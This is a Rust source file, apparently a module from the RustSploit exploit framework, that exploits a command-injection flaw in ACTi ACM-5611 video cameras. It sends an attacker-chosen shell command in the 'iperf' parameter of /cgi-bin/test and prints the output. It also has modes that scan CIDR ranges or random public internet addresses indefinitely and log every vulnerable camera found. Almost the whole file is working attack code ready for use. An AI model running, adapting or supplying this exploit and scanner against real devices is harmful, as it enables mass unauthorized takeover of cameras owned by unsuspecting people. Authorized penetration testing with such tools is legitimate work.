mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
274 lines
10 KiB
Rust
274 lines
10 KiB
Rust
use anyhow::{anyhow, Result};
|
|
use colored::*;
|
|
use std::time::Duration;
|
|
use std::sync::Arc;
|
|
use std::sync::atomic::{AtomicUsize, Ordering};
|
|
use tokio::sync::Semaphore;
|
|
use tokio::sync::mpsc;
|
|
use tokio::fs::OpenOptions;
|
|
use tokio::io::AsyncWriteExt;
|
|
use std::net::IpAddr;
|
|
use ipnetwork::IpNetwork;
|
|
use chrono::Local;
|
|
use crate::utils::{
|
|
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port, cfg_prompt_int_range,
|
|
cfg_prompt_output_file,
|
|
};
|
|
use crate::utils::{generate_random_public_ip, EXCLUDED_RANGES};
|
|
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
|
|
|
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
|
/// Reference:
|
|
/// - https://www.exploitalert.com/view-details.html?id=34128
|
|
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
|
|
|
/// Exploit authors:
|
|
/// - Todor Donev <todor.donev@gmail.com>
|
|
/// - GH0st3rs (RouterSploit module)
|
|
|
|
const DEFAULT_PORT: u16 = 8080;
|
|
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
|
const MASS_SCAN_CONCURRENCY: usize = 100;
|
|
|
|
|
|
/// Display module banner
|
|
fn display_banner() {
|
|
if crate::utils::is_batch_mode() { return; }
|
|
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
|
crate::mprintln!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
|
crate::mprintln!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
|
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
|
}
|
|
|
|
async fn run_mass_scan_legacy() -> Result<()> {
|
|
display_banner();
|
|
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
|
|
|
|
let port = cfg_prompt_port("port", "Target Port", 8080).await?;
|
|
|
|
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true).await?;
|
|
let mut exclusions = Vec::new();
|
|
if use_exclusions {
|
|
for cidr in EXCLUDED_RANGES {
|
|
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
|
exclusions.push(net);
|
|
}
|
|
}
|
|
}
|
|
let exclusions = Arc::new(exclusions);
|
|
|
|
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "acti_rce_hits.txt").await?;
|
|
let outfile = Arc::new(outfile);
|
|
|
|
let threads = cfg_prompt_int_range("concurrency", "[?] Concurrency (IPs)", MASS_SCAN_CONCURRENCY as i64, 1, 10000).await?
|
|
as usize;
|
|
|
|
let semaphore = Arc::new(Semaphore::new(threads));
|
|
let checked = Arc::new(AtomicUsize::new(0));
|
|
let found = Arc::new(AtomicUsize::new(0));
|
|
|
|
let (tx, mut rx) = mpsc::channel::<String>(1024);
|
|
|
|
let outfile_clone = outfile.clone();
|
|
tokio::spawn(async move {
|
|
let file_result = OpenOptions::new()
|
|
.create(true)
|
|
.append(true)
|
|
.open(&*outfile_clone)
|
|
.await;
|
|
|
|
let mut file = match file_result {
|
|
Ok(f) => f,
|
|
Err(e) => {
|
|
crate::meprintln!("[-] Failed to open output file: {}", e);
|
|
return;
|
|
}
|
|
};
|
|
|
|
while let Some(result) = rx.recv().await {
|
|
let _ = file.write_all(result.as_bytes()).await;
|
|
}
|
|
});
|
|
|
|
let c = checked.clone();
|
|
let f = found.clone();
|
|
tokio::spawn(async move {
|
|
loop {
|
|
tokio::time::sleep(Duration::from_secs(10)).await;
|
|
crate::mprintln!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
|
}
|
|
});
|
|
|
|
crate::mprintln!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
|
|
|
|
loop {
|
|
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
|
let exc = exclusions.clone();
|
|
let chk = checked.clone();
|
|
let fnd = found.clone();
|
|
let tx = tx.clone();
|
|
|
|
tokio::spawn(async move {
|
|
let ip = generate_random_public_ip(&exc).to_string();
|
|
|
|
if let Ok(true) = check_vuln(&ip, port).await {
|
|
crate::mprintln!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
|
|
fnd.fetch_add(1, Ordering::Relaxed);
|
|
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
|
|
let _ = tx.send(log_entry).await;
|
|
}
|
|
|
|
chk.fetch_add(1, Ordering::Relaxed);
|
|
drop(permit);
|
|
});
|
|
}
|
|
}
|
|
|
|
pub async fn run(target: &str) -> Result<()> {
|
|
if is_mass_scan_target(target) {
|
|
return run_mass_scan(target, MassScanConfig {
|
|
protocol_name: "ACTi_Camera",
|
|
default_port: 80,
|
|
state_file: "acti_camera_mass_state.log",
|
|
default_output: "acti_camera_mass_results.txt",
|
|
default_concurrency: 200,
|
|
}, |ip: std::net::IpAddr, port: u16| async move {
|
|
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
|
Some(format!("{}:{}\n", ip, port))
|
|
} else {
|
|
None
|
|
}
|
|
}).await;
|
|
}
|
|
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
|
return run_mass_scan_legacy().await;
|
|
}
|
|
|
|
display_banner();
|
|
|
|
// Check for CIDR or Range
|
|
let is_mass_scan = target.contains('/') || target.contains('-');
|
|
|
|
// Prompt for port globally
|
|
let port = cfg_prompt_port("port", "Target Port", DEFAULT_PORT).await?;
|
|
|
|
if is_mass_scan {
|
|
crate::mprintln!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
|
|
|
|
let ips: Vec<IpAddr> = if target.contains('/') {
|
|
// CIDR
|
|
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
|
|
net.iter().collect()
|
|
} else {
|
|
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
|
|
};
|
|
|
|
crate::mprintln!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
|
|
|
|
let concurrency = 50;
|
|
let semaphore = Arc::new(Semaphore::new(concurrency));
|
|
let vulnerable_count = Arc::new(AtomicUsize::new(0));
|
|
let mut tasks = Vec::new();
|
|
|
|
for ip in ips {
|
|
let sem = semaphore.clone();
|
|
let vc = vulnerable_count.clone();
|
|
let ip_str = ip.to_string();
|
|
|
|
tasks.push(tokio::spawn(async move {
|
|
let _permit = match sem.acquire().await {
|
|
Ok(p) => p,
|
|
Err(_) => return,
|
|
};
|
|
if let Ok(true) = check_vuln(&ip_str, port).await {
|
|
crate::mprintln!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
|
|
vc.fetch_add(1, Ordering::Relaxed);
|
|
}
|
|
drop(_permit);
|
|
}));
|
|
}
|
|
|
|
for t in tasks {
|
|
let _ = t.await;
|
|
}
|
|
|
|
crate::mprintln!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
|
|
|
|
} else {
|
|
// Single Target Mode
|
|
crate::mprintln!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
|
|
|
if check_vuln(target, port).await? {
|
|
crate::mprintln!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
|
|
|
// Prompt for command to execute — uses cfg_prompt which falls back to stdin in CLI mode
|
|
let cmd = cfg_prompt_default("command", "Enter command to execute", "id").await?;
|
|
|
|
crate::mprintln!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
|
let output = execute(target, port, &cmd).await?;
|
|
crate::mprintln!("{}", format!("[+] Output:\n{}", output).green());
|
|
} else {
|
|
crate::mprintln!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
|
}
|
|
}
|
|
|
|
Ok(())
|
|
}
|
|
|
|
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
|
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
|
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
|
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
|
|
|
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
|
|
|
|
let res = client
|
|
.get(url)
|
|
.header("Content-Type", "application/x-www-form-urlencoded")
|
|
.header("Referer", format!("http://{}:{}", target, port))
|
|
.send()
|
|
.await?;
|
|
|
|
if res.status().is_success() {
|
|
let text = res.text().await?;
|
|
Ok(text)
|
|
} else {
|
|
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
|
}
|
|
}
|
|
|
|
/// Check if the target is running the vulnerable service
|
|
async fn check_vuln(target: &str, port: u16) -> Result<bool> {
|
|
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
|
let index_url = format!("http://{}:{}/", target, port);
|
|
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
|
|
|
// Check /cgi-bin/test
|
|
let test_res = client.get(&url).send().await?;
|
|
if test_res.status().is_success() {
|
|
crate::mprintln!("{}", "[*] CGI endpoint accessible".cyan());
|
|
// Check root page contains 'Web Configurator'
|
|
let index_res = client.get(&index_url).send().await?;
|
|
if index_res.status().is_success() {
|
|
let body = index_res.text().await?;
|
|
if body.contains("Web Configurator") {
|
|
crate::mprintln!("{}", "[*] ACTi Web Configurator detected".cyan());
|
|
return Ok(true);
|
|
}
|
|
}
|
|
}
|
|
|
|
Ok(false)
|
|
}
|
|
|
|
pub fn info() -> crate::module_info::ModuleInfo {
|
|
crate::module_info::ModuleInfo {
|
|
name: "ACTi ACM-5611 Remote Command Execution".to_string(),
|
|
description: "Exploits command injection in ACTi ACM-5611 video cameras to achieve remote code execution.".to_string(),
|
|
authors: vec!["RustSploit Contributors".to_string()],
|
|
references: vec!["https://www.exploitalert.com/view-details.html?id=34128".to_string()],
|
|
disclosure_date: None,
|
|
rank: crate::module_info::ModuleRank::Excellent,
|
|
}
|
|
}
|